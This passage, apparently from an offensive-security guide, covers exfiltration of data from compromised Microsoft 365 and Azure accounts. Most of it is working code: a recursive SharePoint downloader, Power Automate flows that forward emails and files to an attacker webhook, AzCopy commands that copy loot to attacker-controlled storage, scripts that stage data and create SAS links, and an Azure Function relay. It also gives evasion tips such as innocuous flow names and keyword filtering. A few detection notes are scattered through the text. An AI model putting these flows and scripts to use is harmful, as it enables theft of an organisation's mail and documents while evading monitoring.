function Download-DriveContents {
param($DriveId, $FolderId, $LocalPath)
$uri = if ($FolderId) {
"https://graph.microsoft.com/v1.0/drives/$DriveId/items/$FolderId/children"
} else {
"https://graph.microsoft.com/v1.0/drives/$DriveId/root/children"
}
$items = (Invoke-RestMethod -Uri $uri -Headers $headers).value
foreach ($item in $items) {
if ($item.folder) {
$subDir = Join-Path $LocalPath $item.name
New-Item -ItemType Directory -Force -Path $subDir | Out-Null
Download-DriveContents -DriveId $DriveId -FolderId $item.id -LocalPath $subDir
}
elseif ($item.file) {
$filePath = Join-Path $LocalPath $item.name
$dlUri = "https://graph.microsoft.com/v1.0/drives/$DriveId/items/$($item.id)/content"
Invoke-RestMethod -Uri $dlUri -Headers $headers -OutFile $filePath
$sizeKB = [math]::Round($item.size / 1KB, 1)
Write-Host " [+] $($item.name) ($sizeKB KB)" -ForegroundColor Green
}
}
}
New-Item -ItemType Directory -Force -Path $outputDir | Out-Null
Write-Host "[*] Downloading SharePoint document library..." -ForegroundColor Cyan
Download-DriveContents -DriveId $driveId -LocalPath $outputDir
Write-Host "[+] Download complete: $outputDir" -ForegroundColor Green
Enumerate Existing Sharing Links
# List all sharing permissions on a file (check for existing anonymous links)
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/permissions
# List shared files in the user's OneDrive
GET https://graph.microsoft.com/v1.0/me/drive/sharedWithMe
# Check sharing settings for a SharePoint site
GET https://graph.microsoft.com/v1.0/sites/{site-id}?$select=sharingCapability
Set-SPOTenant -SharingCapability ExternalUserSharingOnly. This forces recipients to authenticate. Set link expiration policies, require passwords on sharing links, and audit the SharingSet and AnonymousLinkCreated events. Run periodic reports on externally shared content with Get-SPOSite | Get-SPOSiteSharing.
🕵 Covert Exfiltration
Power Automate (formerly Microsoft Flow) allows users to create automated workflows that connect M365 services to external systems. An attacker can create flows that silently exfiltrate data on an ongoing basis — triggered by new emails, new files, or on a schedule. These flows run under the compromised user's identity and blend in with legitimate automation.
Flow 1: Forward All New Emails to External Webhook
This flow triggers on every new email received and sends the subject, body, sender, and attachment names to an attacker-controlled webhook endpoint.
// Flow: "Email Backup Service" (innocuous name)
// Trigger: When a new email arrives (V3)
// Action: HTTP POST to external webhook
{
"trigger": "When a new email arrives (V3)",
"triggerConfig": {
"folder": "Inbox",
"includeAttachments": true,
"importance": "Any"
},
"actions": [
{
"type": "HTTP",
"method": "POST",
"uri": "https://attacker-webhook.ngrok.io/exfil",
"headers": {
"Content-Type": "application/json"
},
"body": {
"timestamp": "@{utcNow()}",
"subject": "@{triggerOutputs()?['body/subject']}",
"from": "@{triggerOutputs()?['body/from']}",
"to": "@{triggerOutputs()?['body/toRecipients']}",
"body": "@{triggerOutputs()?['body/body']}",
"hasAttachments": "@{triggerOutputs()?['body/hasAttachments']}",
"importance": "@{triggerOutputs()?['body/importance']}"
}
}
]
}
// More stealthy: Only exfil emails matching keywords
// Add a "Condition" action before the HTTP action:
// Condition: Subject or Body contains "password" OR "confidential" OR "secret"
Flow 2: Exfiltrate New SharePoint/OneDrive Files
// Flow: "Document Backup Sync"
// Trigger: When a file is created or modified (SharePoint)
// Actions: Get file content, send to external endpoint
{
"trigger": "When a file is created or modified (properties only) - SharePoint",
"triggerConfig": {
"siteAddress": "https://contoso.sharepoint.com/sites/finance",
"libraryName": "Documents"
},
"actions": [
{
"type": "SharePoint - Get file content",
"fileIdentifier": "@{triggerOutputs()?['body/{Identifier}']}"
},
{
"type": "HTTP",
"method": "POST",
"uri": "https://attacker-webhook.ngrok.io/files",
"headers": {
"Content-Type": "application/octet-stream",
"X-Filename": "@{triggerOutputs()?['body/{FilenameWithExtension}']}",
"X-Modified-By": "@{triggerOutputs()?['body/{ModifiedBy}']}",
"X-Site": "@{triggerOutputs()?['body/{Path}']}"
},
"body": "@{body('Get_file_content')}"
}
]
}
Creating Flows Programmatically via the API
# Power Automate flows can be created via the Power Automate Management API
# or interactively through https://make.powerautomate.com
# Check if Power Automate is available for the compromised user
# Navigate to: https://make.powerautomate.com
# If accessible, the user can create flows
# Enumerate existing flows (Management API)
$token = "eyJ0eXAi..." # Token with Flow.Read.All scope
$headers = @{ Authorization = "Bearer $token" }
# List flows in the default environment
$envUri = "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments"
$environments = (Invoke-RestMethod -Uri $envUri -Headers $headers).value
foreach ($env in $environments) {
Write-Host "[*] Environment: $($env.properties.displayName)" -ForegroundColor Cyan
$flowsUri = "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/$($env.name)/flows?api-version=2016-11-01"
try {
$flows = (Invoke-RestMethod -Uri $flowsUri -Headers $headers).value
foreach ($flow in $flows) {
Write-Host " Flow: $($flow.properties.displayName) | State: $($flow.properties.state)"
}
}
catch {
Write-Host " [!] Cannot enumerate flows in this environment" -ForegroundColor Yellow
}
}
Flow 3: Scheduled Data Dump
// Flow: "Weekly Report Generator" (innocuous name)
// Trigger: Recurrence - runs daily at 2:00 AM
// Actions: Search mailbox, collect results, send to external endpoint
{
"trigger": "Recurrence",
"triggerConfig": {
"frequency": "Day",
"interval": 1,
"startTime": "2025-01-01T02:00:00Z",
"timeZone": "UTC"
},
"actions": [
{
"name": "Search_emails",
"type": "Office 365 Outlook - Search emails (V3)",
"config": {
"searchQuery": "received:today AND (hasattachment:true OR subject:confidential)",
"top": 50,
"folder": "Inbox"
}
},
{
"name": "Send_to_webhook",
"type": "HTTP",
"method": "POST",
"uri": "https://attacker-webhook.ngrok.io/daily-dump",
"body": "@{body('Search_emails')}"
}
]
}
CreateFlow activity. Flow run history is visible to the flow owner and Power Platform admins. Use innocuous flow names that blend with legitimate automation. Flows making external HTTP calls may trigger DLP policies if the tenant has Power Platform DLP configured.
CreateFlow and EditFlow events in the Unified Audit Log. Review active flows regularly in the Power Platform Admin Center (admin.powerplatform.microsoft.com).
If the compromised identity also has access to Azure resources (common when Entra ID is the identity provider for Azure subscriptions), an attacker can stage exfiltrated data in Azure Blob Storage before downloading it. This is effective because traffic between M365 services and Azure Storage stays within Microsoft's network, making it less visible to network monitoring.
Check Azure Access from a Compromised Entra ID Account
# Check if the compromised user has Azure subscriptions
$token = "eyJ0eXAi..." # Token for Azure Resource Manager (https://management.azure.com)
$headers = @{ Authorization = "Bearer $token" }
# List accessible subscriptions
$subs = Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2022-12-01" -Headers $headers
$subs.value | Format-Table displayName, subscriptionId, state
# List storage accounts in a subscription
$subId = $subs.value[0].subscriptionId
$storageAccounts = Invoke-RestMethod `
-Uri "https://management.azure.com/subscriptions/$subId/providers/Microsoft.Storage/storageAccounts?api-version=2023-01-01" `
-Headers $headers
$storageAccounts.value | Format-Table name, @{N='Location';E={$_.location}}, @{N='Kind';E={$_.kind}}
Stage Data Using AzCopy
# Authenticate azcopy with the compromised user's token
# Option 1: Use Entra ID authentication
azcopy login --tenant-id "contoso.onmicrosoft.com"
# Option 2: Use a SAS token if you have storage account keys
# Generate SAS from the portal or via Az module
# Upload exfiltrated files to a staging container
# If using an existing storage account the user has access to:
azcopy copy "./evidence/" "https://contosostaging.blob.core.windows.net/exfil/?sv=2023-01-03&se=..." --recursive
# Copy data between Azure locations (server-side, very fast)
# Copy from SharePoint to Azure Blob (via local staging)
azcopy copy "./sharepoint_export/" "https://storageaccount.blob.core.windows.net/staging/" --recursive
# If using attacker-controlled storage:
azcopy copy "./evidence/" "https://attackerstorage.blob.core.windows.net/loot/?{SAS-TOKEN}" --recursive
# Download from staging to attacker machine
azcopy copy "https://contosostaging.blob.core.windows.net/exfil/?{SAS}" "./downloaded/" --recursive
Azure PowerShell Module: Storage Operations
# Connect to Azure with compromised credentials
Connect-AzAccount
# Create a new storage container for staging (if you have Contributor role)
$storageAccount = Get-AzStorageAccount -ResourceGroupName "rg-shared" -Name "contosostaging"
$ctx = $storageAccount.Context
New-AzStorageContainer -Name "backup-$(Get-Date -Format yyyyMMdd)" -Context $ctx -Permission Off
# Upload files to the staging container
$containerName = "backup-$(Get-Date -Format yyyyMMdd)"
Get-ChildItem -Path "./evidence/" -Recurse -File | ForEach-Object {
Set-AzStorageBlobContent `
-File $_.FullName `
-Container $containerName `
-Blob $_.Name `
-Context $ctx `
-Force
Write-Host "[+] Uploaded: $($_.Name)" -ForegroundColor Green
}
# Generate a SAS token for the container (for downloading from another machine)
$sasToken = New-AzStorageContainerSASToken `
-Name $containerName `
-Context $ctx `
-Permission rl `
-ExpiryTime (Get-Date).AddHours(24)
Write-Host "[+] Download URL:" -ForegroundColor Green
Write-Host " https://$($storageAccount.StorageAccountName).blob.core.windows.net/$containerName$sasToken"
# If attacker-controlled Azure storage is available:
# Create a storage account in your own Azure subscription
# Use azcopy or Az module to transfer data directly
Using Azure Functions as an Exfiltration Relay
# An attacker with Azure access could deploy a Function App that acts as
# a data relay, receiving data from M365 and storing it in Blob Storage.
# This function could be called from Power Automate flows or scripts.
import azure.functions as func
import json
from datetime import datetime
from azure.storage.blob import BlobServiceClient
CONN_STRING = "DefaultEndpointsProtocol=https;AccountName=..."
def main(req: func.HttpRequest) -> func.HttpResponse:
"""Receive exfiltrated data and store in Blob Storage."""
blob_service = BlobServiceClient.from_connection_string(CONN_STRING)
container = blob_service.get_container_client("exfil-data")
# Store the incoming data
timestamp = datetime.utcnow().strftime("%Y%m%d_%H%M%S")
blob_name = f"data_{timestamp}.json"
data = req.get_body().decode("utf-8")
blob_client = container.get_blob_client(blob_name)
blob_client.upload_blob(data, overwrite=True)
return func.HttpResponse(f"Stored as {blob_name}", status_code=200)
# This function URL can be used as the webhook endpoint in Power Automate flows
# or called directly from exfiltration scripts
Microsoft.Storage/storageAccounts/blobServices/containers/write operations.